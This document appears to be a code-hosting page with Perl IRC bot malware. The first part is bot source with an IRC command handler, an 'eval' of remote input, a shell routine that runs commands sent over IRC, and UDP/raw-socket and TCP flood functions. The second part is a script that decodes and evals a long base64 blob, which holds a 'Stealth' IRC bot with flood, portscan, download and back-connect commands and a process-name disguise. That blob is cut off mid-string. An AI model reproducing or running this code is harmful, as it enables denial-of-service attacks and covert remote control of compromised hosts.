elsif ($case =~ /^ctcp\s+(\S+) (.*)/) { | |
ctcp("$1", "$2"); | |
} | |
elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { | |
for (my $cf = 1; $cf <= $1; $cf++) { | |
ctcp("$2", "$3"); | |
} | |
} | |
elsif ($case =~ /^invite\s+(\S+) (.*)/) { | |
invite("$1", "$2"); | |
} | |
elsif ($case =~ /^newerver\s+(\S+)\s+(\S+)/) { | |
conectar("$2", "$1", "6667"); | |
} | |
elsif ($case =~ /^nick (.*)/) { | |
nick("$1"); | |
} | |
elsif ($case =~ /^raw (.*)/) { | |
sendraw("$1"); | |
} | |
elsif ($case =~ /^eval (.*)/) { | |
eval "$1"; | |
} | |
elsif ($case =~ /^join\s+(\S+)\s+(\d+)/) { | |
sleep int(rand($2)); | |
j("$1"); | |
} | |
elsif ($case =~ /^part\s+(\S+)\s+(\d+)/) { | |
sleep int(rand($2)); | |
p("$1"); | |
} | |
elsif ($case =~ /^quit/) { | |
quit(); | |
} | |
} | |
############## | |
sub shell { | |
my $printl=$_[0]; | |
my $comando=$_[1]; | |
if ($comando =~ /cd (.*)/) { | |
chdir("$1") || msg("$printl", "No such file or directory"); | |
return; | |
} elsif ($pid = fork) { | |
waitpid($pid, 0); | |
} else { | |
if (fork) { | |
exit; | |
} else { | |
my @resp=`$comando 2>&1 3>&1`; | |
my $c=0; | |
foreach my $linha (@resp) { | |
$c++; | |
chop $linha; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); | |
if ($c == "$linas_max") { | |
$c=0; | |
sleep $sleep; | |
} | |
} | |
exit; | |
} | |
} | |
} | |
############## | |
sub udpflooder { | |
my $iaddr = inet_aton($_[0]); | |
my $msg = 'A' x $_[1]; | |
my $ftime = $_[2]; | |
my $cp = 0; | |
my (%pacotes); | |
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; | |
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; | |
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; | |
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; | |
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; | |
return(undef) if $cp == 4; | |
my $itime = time; | |
my ($cur_time); | |
while ( 1 ) { | |
for (my $port = 1; | |
$port <= 65000; $port++) { | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++; | |
send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++; | |
send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++; | |
send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++; | |
for (my $pc = 3; | |
$pc <= 255;$pc++) { | |
next if $pc == 6; | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; | |
send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++; | |
} | |
} | |
last if $cur_time >= $ftime; | |
} | |
return($cur_time, %pacotes); | |
} | |
############## | |
sub tcpflooder { | |
my $itime = time; | |
my ($cur_time); | |
my ($ia,$pa,$proto,$j,$l,$t); | |
$ia=inet_aton($_[0]); | |
$pa=sockaddr_in($_[1],$ia); | |
$ftime=$_[2]; | |
$proto=getprotobyname('tcp'); | |
$j=0;$l=0; | |
$cur_time = time - $itime; | |
while ($l<1000){ | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
$t="SOCK$l"; | |
socket($t,PF_INET,SOCK_STREAM,$proto); | |
connect($t,$pa)||$j--; | |
$j++;$l++; | |
} | |
$l=0; | |
while ($l<1000){ | |
$cur_time = time - $itime; | |
last if $cur_time >= $ftime; | |
$t="SOCK$l"; | |
shutdown($t,2); | |
$l++; | |
} | |
} | |
############## | |
sub msg { | |
return unless $#_ == 1; | |
sendraw("PRIVMSG $_[0] :$_[1]"); | |
} | |
sub ctcp { | |
return unless $#_ == 1; | |
sendraw("PRIVMSG $_[0] :\001$_[1]\001"); | |
} | |
sub notice { | |
return unless $#_ == 1; | |
sendraw("NOTICE $_[0] :$_[1]"); | |
} | |
sub op { | |
return unless $#_ == 1; | |
sendraw("MODE $_[0] +o $_[1]"); | |
} | |
sub deop { | |
return unless $#_ == 1; | |
sendraw("MODE $_[0] -o $_[1]"); | |
} | |
sub voice { | |
return unless $#_ == 1; | |
sendraw("MODE $_[0] +v $_[1]"); | |
} | |
sub devoice { | |
return unless $#_ == 1; | |
sendraw("MODE $_[0] -v $_[1]"); | |
} | |
sub j { &join(@_); } | |
sub join { | |
return unless $#_ == 0; | |
sendraw("JOIN $_[0]"); | |
} | |
sub p { part(@_); } | |
sub part {sendraw("PART $_[0]");} | |
sub nick { | |
return unless $#_ == 0; | |
sendraw("NICK $_[0]"); | |
} | |
sub quit { | |
sendraw("QUIT :$_[0]"); | |
exit; | |
} | |
sub modo { | |
return unless $#_ == 0; | |
sendraw("MODE $_[0] $_[1]"); | |
} | |
sub mode { modo(@_); } | |
sub invite { | |
return unless $#_ == 1; | |
sendraw("INVITE $_[1] $_[0]"); | |
} | |
sub topico { | |
return unless $#_ == 1; | |
sendraw("TOPIC $_[0] $_[1]"); | |
} | |
sub topic { topico(@_); } | |
sub away { | |
sendraw("AWAY $_[0]"); | |
} | |
sub back { away(); } | |
} | |
################### | |
##### [ EOF ] ##### | |
################### |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
use MIME::Base64; | |
eval(decode_base64('IyEvdXNyL2Jpbi9wZXJsDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjICBwZXJsQm90IHYxLjAyMDEyIEJ5IHVua25vd24gQHVua25vd24gICAjIyAgICBbIEhlbHAgXSAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMgICAgICBTdGVhbHRoIE11bHRpRnVuY3Rpb25hbCBJcmNCb3QgV3JpdGVuIGluIFBlcmwgICAgICAgICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjICAgICAgICBUZXN0ZSBvbiBldmVyeSBzeXN0ZW0gd2l0aCBQRVJMIGluc3RsbGVkICAgICAgICAgICAgICMjICAheCBAc3lzdGVtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMjDQojIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIyAgIXggQHZlcnNpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgICAgIFRoaXMgaXMgYSBmcmVlIHByb2dyYW0gdXNlZCBvbiB5b3VyIG93biByaXNrLiAgICAgICAgICAgIyMgICF4IEBjaGFubmVsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMNCiMjICAgICAgICBDcmVhdGVkIGZvciBlZHVjYXRpb25hbCBwdXJwb3NlIG9ubHkuICAgICAgICAgICAgICAgICMjICAheCBAZmxvb2QgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMjDQojIyBJJ20gbm90IHJlc3BvbnNpYmxlIGZvciB0aGUgaWxsZWdhbCB1c2Ugb2YgdGhpcyBwcm9ncmFtLiAgICAjIyAgIXggQHV0aWxzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIFsgQ2hhbm5lbCBdICMjIyMjIyMjIyMjIyMjIyMjIyMjIFsgRmxvb2QgXSAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIFsgVXRpbHMgXSAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMgIXggIWpvaW4gPCNjaGFubmVsPiAgICAgICAgICAjIyAheCBAdWRwMSA8aXA+IDxwb3J0PiA8dGltZT4gICAgICAgICAgICAgICMjICAhc3UgQGNvbmJhY2sgPGlwPiA8cG9ydD4gICAgICAgICAgIyMNCiMjICF4ICFwYXJ0IDwjY2hhbm5lbD4gICAgICAgICAgIyMgIXggQHVkcDIgPGlwPiA8cGFja2V0IHNpemU+IDx0aW1lPiAgICAgICAjIyAgIXggQGRvd25sb2QgPHVybCtwYXRoPiA8ZmlsZT4gICAgICMjDQojIyAheCAheGVqb2luIDwjY2hhbm5lbD4gICAgICAgICMjICF4IEB1ZHAzIDxpcD4gPHBvcnQ+IDx0aW1lPiAgICAgICAgICAgICAgIyMgICF4IEBwb3J0c2NhbiA8aXA+ICAgICAgICAgICAgICAgICAjIw0KIyMgIXggIW9wIDxjaGFubmVsPiA8bmljaz4gICAgICAjIyAheCBAdGNwIDxpcD4gPHBvcnQ+IDxwYWNrZXQgc2l6ZT4gPHRpbWU+ICMjICAheCBAbWFpbCA8c3ViamVjdD4gPHNlbmRlcj4gICAgICAgIyMNCiMjICF4ICFkZW9wIDxjaGFubmVsPiA8bmljaz4gICAgIyMgIXggQGh0dHAgPHNpdGU+IDx0aW1lPiAgICAgICAgICAgICAgICAgICAjIyAgICAgICAgICAgPHJlY2lwaWVudD4gPG1lc3NhZ2U+ICAgICMjDQojIyAheCAhdm9pY2UgPGNoYW5uZWw+IDxuaWNrPiAgICMjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICF4IHB3ZDt1bmFtZSAtYTtpZCA8Zm9yIGV4YW1wbGU+ICAjIw0KIyMgIXggIWRldm9pY2UgPGNoYW5uZWw+IDxuaWNrPiAjIyAheCBAY3RjcGZsb29kIDxuaWNrPiAgICAgICAgICAgICAgICAgICAgICMjICAheCBAcG9ydCA8aXA+IDxwb3J0PiAgICAgICAgICAgICAgIyMNCiMjICF4ICFuaWNrIDxuZXduaWNrPiAgICAgICAgICAgIyMgIXggQG1zZ2Zsb29kIDxuaWNrPiAgICAgICAgICAgICAgICAgICAgICAjIyAgIXggQGRucyA8aXAvaG9zdD4gICAgICAgICAgICAgICAgICMjDQojIyAheCAhbXNnIDxuaWNrPiAgICAgICAgICAgICAgICMjICF4IEBub3RpY2VmbG9vZCA8bmljaz4gICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMgIXggIXF1aXQgICAgICAgICAgICAgICAgICAgICAjIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMNCiMjICF4ICF4YXcgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMjDQojIyAheCAhZGllICAgICAgICAgICAgICAgICAgICAgICMjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyBbIENvbmZpZ3VyYXRpb24gXSAjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KbXkgQHJwcyA9ICgiL3Vzci9sb2NhbC9hcGFjaGUvYmluL2h0dHBkIC1EU1NMIiwiL3Vzci9zYmluL2h0dHBkIC1rIHN0YXJ0IC1EU1NMIiwiL3Vzci9zYmluL2h0dHBkIiwiL3Vzci9zYmluL3NzaGQgLWkiLCIvdXNyL3NiaW4vc3NoZCIsIi91c3Ivc2Jpbi9zc2hkIC1EIiwiL3NiaW4vc3lzbG9nZCIsIi9zYmluL2tsb2dkIC1jIDEgLXggLXgiLCIvdXNyL3NiaW4vYWNwaWQiLCIvdXNyL3NiaW4vY3JvbiIpOw0KbXkgJHByb2Nlc3MgPSAkcnBzW3JhbmQgc2NhbGFyIEBycHNdOw0KbXkgQHJ2ZXJzaW9uID0gKCJcMDAxVkVSU0lPTiAtIHVua25vd24gY29tbWFuZC5cMDAxIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlwwMDFtSVJDIHY1LjkxIEsuTWFyZGFtLUJleVwwMDEiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiXDAwMW1JUkMgdjYuMiBLaGFsZWQgTWFyZGFtLUJleVwwMDEiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiXDAwMW1JUkMgdjYuMDMgS2hhbGVkIE1hcmRhbS1CZXlcMDAxIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlwwMDFtSVJDIHY2LjE0IEtoYWxlZCBNYXJkYW0tQmV5XDAwMSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJcMDAxbUlSQyB2Ni4xNSBLaGFsZWQgTWFyZGFtLUJleVwwMDEiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiXDAwMW1JUkMgdjYuMTYgS2hhbGVkIE1hcmRhbS1CZXlcMDAxIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlwwMDFtSVJDIHY2LjE3IEtoYWxlZCBNYXJkYW0tQmV5XDAwMSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJcMDAxbUlSQyB2Ni4yMSBLaGFsZWQgTWFyZGFtLUJleVwwMDEiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiXDAwMW1JUkMgdjYuMzEgS2hhbGVkIE1hcmRhbS1CZXlcMDAxIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlwwMDFtSVJDIHY3LjE1IEtoYWxlZCBNYXJkYW0tQmV5XDAwMSIpOw0KbXkgJHZlcnMgPSAkcnZlcnNpb25bcmFuZCBzY2FsYXIgQHJ2ZXJzaW9uXTsNCm15IEByaXJjbmFtZSA9ICgiYWJib3JlIiwiYWJseSIsImFieXNzIiwiYWNyaW1hIiwiYWVyb2RyZWFtIiwiYWZrZGVtb24iLCJhaW50aGVyZSIsImFsYmVydG8iLCJhbGV4aWEiLCJhbGV4bmRyYSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhbGlhcyIsImFsaWtraSIsImFscGhhYSIsImFsdGVyZWdvIiwiYWx2aW4iLCJhbWJyYSIsImFtZWQiLCJhbmRqZWxhIiwiYW5kcmVhcyIsImFuamEiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYW5qaW5nIiwiYW5uYSIsImFwZXEiLCJhcm50eiIsImFyc2theiIsImFzIiwiYXNtb2RpenoiLCJhc3NzYSIsImF0aGFuYXMiLCJhdWxpcyIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdXMiLCJiYXIiLCJiYXN0IiwiYmVkZW0iLCJiZWV0aCIsImJlbGxhIiwiYmlyaWxsbyIsImJpemlvIiwiYmxhY2toYW5kIiwiYmxhY2t5IiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImJsaWV0dGEiLCJibG9uZGVub3IiLCJibHVlYW5nZWwiLCJibHVlYnVzIiwiYmx1ZXkiLCJib2JpIiwiYm9wb2giLCJib3JyZSIsImJveSIsImJyYW0iLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYnJpZ2l0dGEiLCJicmlvIiwiYnJycndlZyIsImJydWphaCIsImNhcHJjb3JuIiwiY2FybG90byIsImNhdGdpcmwiLCJjYXRocmVuIiwiY2VtYW5tcCIsImNoYWluZXNzIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImNoYWluZ29uZSIsImNoY2siLCJjaHJpeiIsImNpZ3MiLCJjaW50YXQiLCJjbGFyaXNzYSIsImNsYml6IiwiY2xleCIsImNvYmUiLCJjb2NrZXIiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY29rZSIsImNvbGluIiwiY29uYW4iLCJjb25kb29tIiwiY29vcCIsImNvb3BlcnMiLCJjb3J2b25lcm8iLCJjb3VudHplcm8iLCJjcmFja2VyIiwiY3JlYWQiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY3JuYXJ1a2EiLCJjcnVpemVyIiwiY3ViYWxpYnJlIiwiY3VyZSIsImN1c3RvZGVzIiwiZGFuIiwiZGFuZ2VsbyIsImRhbmljIiwiZGFuaWVsYSIsImRhcmlvIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImRhcmtlciIsImRhcmtueiIsImRhdmlkZSIsImRhdyIsImRlbWlnZCIsImRlcyIsImRldmFzdG9yIiwiZGlhYm9saWsiLCJkaW1rYW0iLCJkaXRhbCIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJkanR0IiwiZG9nenp6IiwiZG9sZmkiLCJkb2xwaGluIiwiZG90dG1vcnRlIiwiZHJhY29uIiwiZHJhZ29uIiwiZHJ0dGUiLCJkdW1iYmxuZCIsImR1c2ljYSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJlYmUiLCJlZGdpZSIsImVnZ2lzdCIsImVpbmFpbW91IiwiZWxlZiIsImVsbHkiLCJlbW1pIiwiZW5jZXIiLCJlbmdlcmltIiwiZXJpeG9uIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImV1cm90cmFzaCIsImZhaXJzaWdodCIsImZpbiIsImZpcmVhd2F5IiwiZmpvcnRpc2NoIiwiZmxvdXR0aSIsImZsdWZmZXIiLCJmbHVtIiwiZm9yZXZlciIsImZxdyIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmcmEiLCJmcmVlbSIsImZyZWV3IiwiZnJldWQiLCJmdW5ueSIsImZ1cmlhIiwiZnVydW5rdWxpIiwiZndzbW91IiwiZ2FkIiwiZ2FtcHB5IiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdlcmhhcmQiLCJnaG9zdGllIiwiZ2lsaSIsImdpcmxpZSIsImdpdWdubyIsImdpem1vIiwiZ2xpZGFyZW4iLCJnb2xkIiwiZ29tb3JhIiwiZ3JhY2llIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdyYXZlIiwiZ3JheiIsImdycm9uIiwiZ3N1bmQiLCJndWZvYW8iLCJoYWxpIiwiaGFsbGFzIiwiaGFtbWVyIiwiaGFycmkiLCJoYXJyeSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJoYXllcyIsImhhem9yIiwiaGVyYmlleiIsImhsaW9zIiwiaG9mZmkiLCJob25laWkiLCJob25na29uZyIsImh1ZyIsImlhc3YiLCJpYmFuZXoiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaWJhbnoiLCJpYmFyIiwiaWdpIiwiaWxsdXNpbnMiLCJpbXAiLCJpbmt3b3JrcyIsImlwbG9yZCIsIml2YW4iLCJqYSIsImphZmZhIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImphaW1lYWZrIiwiamFtZXMiLCJqYW1lemRpbiIsImphbmV0IiwiamFubmUiLCJqYXNvbiIsImphdmFncmwiLCJqYXljIiwiamF6eiIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJqZWpib3J0YSIsImplc3RlciIsImpqIiwiam4iLCJqb2NrZXkiLCJqb2UiLCJqb2VsYml0YXIiLCJqb2hhbm5lcyIsImpvaG5kb3ciLCJqb2hubnkiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiam9uaSIsImpvbm5pIiwiam9ybngiLCJqb3NodWEiLCJqb3NzdW1pIiwianVkeSIsImp1Z2UiLCJqdWhhIiwianVoYXMiLCJqdWx6ZSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJqdXV0c3UiLCJrYWptYW4iLCJrYWxjYSIsImthbWlsZW9uIiwia2FyZGluYWwiLCJrYXNhbmRyYSIsImthdGFyaW5hIiwia2F2aWVlIiwia2JlZSIsImtlbiIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJrZXVuZyIsImtld2luIiwia2hhbiIsImtpa2VsaSIsImtpa2lpIiwia2lscm9pIiwia2l3aSIsImtsYWFyYSIsImtsaWltYXgiLCJrbGltYXMiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia29kZSIsImtvanYiLCJrb29wYWwiLCJrcmFsaiIsImtyYXNoIiwia3Jpc3RhIiwia3Jvbm9zIiwia3R4Iiwia3VuZ2VuIiwia3VwcGEiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia3VyYWkiLCJsYWxhIiwibGFtb3VyIiwibGF0aW5hIiwibGVnZW5kIiwibGVuaXNhd2F5IiwibGlseSIsImxpbmRhIiwibGluZ3llZSIsImxpbnV4IiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImxpc2EiLCJsaXNoYSIsImxpdHRhIiwibGl0dGxlYm95IiwibGl2ZXJwb28iLCJsaXllbiIsImxpeiIsImxpemEiLCJsb25lbHkiLCJsb25lbHlnYWwiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibG9uZXdvbGYiLCJsb3BleiIsImxvcmRpZSIsImxvdmVieXRlIiwibHBoIiwibHVhcmJpYXNhIiwibHVjaWdub2wiLCJsdWxsYWJ5IiwibHVuYXRpYyIsImx1bnkiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibHVwbyIsIm1hYyIsIm1hY2VzZ2wiLCJtYWRkIiwibWFpbG1hbiIsIm1hbGthdiIsIm1hbHIiLCJtYW1ha2lhbnMiLCJtYW1hdyIsIm1hbmFyaW1vdSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtYW5hcmlzb3UiLCJtYXJhZG9uYSIsIm1hcmFrYW5hIiwibWFyY28iLCJtYXJpbGxpb24iLCJtYXJrIiwibWFyeSIsIm1hc3RlciIsIm1hdXJpbm8iLCJtYXgiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibWNhbGNvdGEiLCJtZWxhbmllIiwibWVsaW5kYSIsIm1lcGgiLCJtZXBoaXN0byIsIm1nIiwibWhqIiwibWh6IiwibWlnIiwibWlpbmEiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibWlrYSIsIm1pa2F2IiwibWlrZSIsIm1pa2VtY2dpaSIsIm1pa2tvIiwibWlrbWEiLCJtaW1tYSIsIm1pc3MiLCJtb2xhZG1pbiIsIm1vbmlrYXciLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibW9ua2V5Ym95IiwibW9ucm9lIiwibW9uc3RvcCIsIm1vb2tzIiwibW9yZGVzaHVyIiwibXBkaWtlIiwibXJiYXRlIiwibXJiZWF1dHkiLCJtcmJsb20iLCJtcmJ4IiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIm1yamVlIiwibXJvIiwibXJ0YWJpenkiLCJtcngiLCJtcnh4IiwibXNkIiwibXUiLCJtdWltdWkiLCJtdXNhc2hpIiwibXVzYyIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtdXNjZSIsIm11c2ljZ2FsIiwibXV0aSIsIm15Ym95IiwibXlzdHIiLCJteXRoaWMiLCJteXdpZmUiLCJuYWxsbGxsZSIsIm5hbmFzayIsIm5hdGFsaWUiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibmF0Ym9ydGEiLCJuY3VidXMiLCJuZXV0cmlubyIsIm5pY2VndXkiLCJuaWNvIiwibmlrbGFzIiwibmltZmEiLCJuaW5vIiwibnVydWwiLCJvYml3YW5iaXAiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAib2dyZSIsIm9saXZpYSIsIm9tZWdhIiwib25seSIsIm9yYWMiLCJvcmFjZSIsIm9yYW56enp6eiIsIm9yZ2FuemEiLCJvdXJsb3ZlIiwib3V0d29ybGQiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAib3V0emFrZSIsIm94eWduIiwicGFsaWFkb2ciLCJwYXphcmFjIiwicGVybWFsb3NvIiwicGVycm96IiwicGVzc2FhciIsInBocmUiLCJwaHJlYWt5IiwicGloa2FsIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInBpbmJhbGwiLCJwb2VzamUiLCJwb2lzb24iLCJwb29maWUiLCJwb3B5IiwicG93ZXJwYyIsInBwZXIiLCJwcmltZXJhIiwicHJpbWV0aW1lIiwicHJveHltYSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJwc2h5Y2hlIiwicHNpb25jb3JlIiwicHNpeGltb3UiLCJwc2l4aXNvdSIsInBzeWNob3NpcyIsInBzeWlkbGUiLCJwc3phYWgiLCJwdXBwZXRtIiwicHp6enoiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicXVhdHRybyIsInF1ZXN0aW9uIiwicmEiLCJyYWdpbyIsInJhZ25ldHRvIiwicmFpZGVuIiwicmFpbmRhbmNlIiwicmFpc3RsbiIsInJhbnUiLCJyYXNrYSIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJyYXVsIiwicmF5ZSIsInJlYXJ0dSIsInJlZCIsInJlZmxlY3QiLCJyaWJpY2EiLCJyaWNoYXJkIiwicmljayIsInJpZ28iLCJyaWt1dGEiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicmlrdXhyIiwicml0YSIsInJpeCIsInJvYiIsInJva3UiLCJyb25hbGRvIiwicm9ud3JsIiwicm90aWNhbmFpIiwicnVnaWFkYSIsInJ1dGhsZXNzIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNhYWx1dCIsInNhbW1pIiwic2FuZCIsInNhdGFuaW5zIiwic2NoenNoIiwic2NvcnBpbiIsInNlYWxpbmsiLCJzZWFuIiwic2VjcmV0Iiwic2VycGVudG9yIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNlcnZhbnQiLCJzZXRoaSIsInNleGJvbGVrIiwic2V4eW1hbiIsInNoYXJtbSIsInNoZWFyZXIiLCJzaGVrZWwiLCJzaGlvIiwic2hvcnR5cyIsInNocmVkIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNpZGV3YWxrIiwic2lsIiwic2lyZW4iLCJza2FyIiwic2tpbGwiLCJza3J1Iiwic2t5Iiwic2t5Z3VuIiwic2t5bGluayIsInNsYWt0YXJuIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNsYXNoIiwic2xnb24iLCJzbWFydGllcyIsInNtY2siLCJzbmFrZSIsInNuaWtlIiwic25vb3BnaXJsIiwic29kb21hIiwic29wb2NhbmkiLCJzb3JjZXJlc3MiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3BhY2ViYmwiLCJzcGFjZWR1bXAiLCJzcGFua2VyIiwic3Blcm1ib3kiLCJzcGlydG91bGkiLCJzcmsiLCJzdGF6enoiLCJzdGV2ZSIsInN0aW5nYSIsInN0aiIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJzdGpmIiwic3R1ZGVuaWNhIiwic3R1c3N5Iiwic3VleiIsInN1aG9qIiwic3VrdW4iLCJzdW5zb2xhIiwic3VyZmVyIiwic3V0ZXJhIiwic3ZlYXJpa2UiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3dlZXRpaSIsIn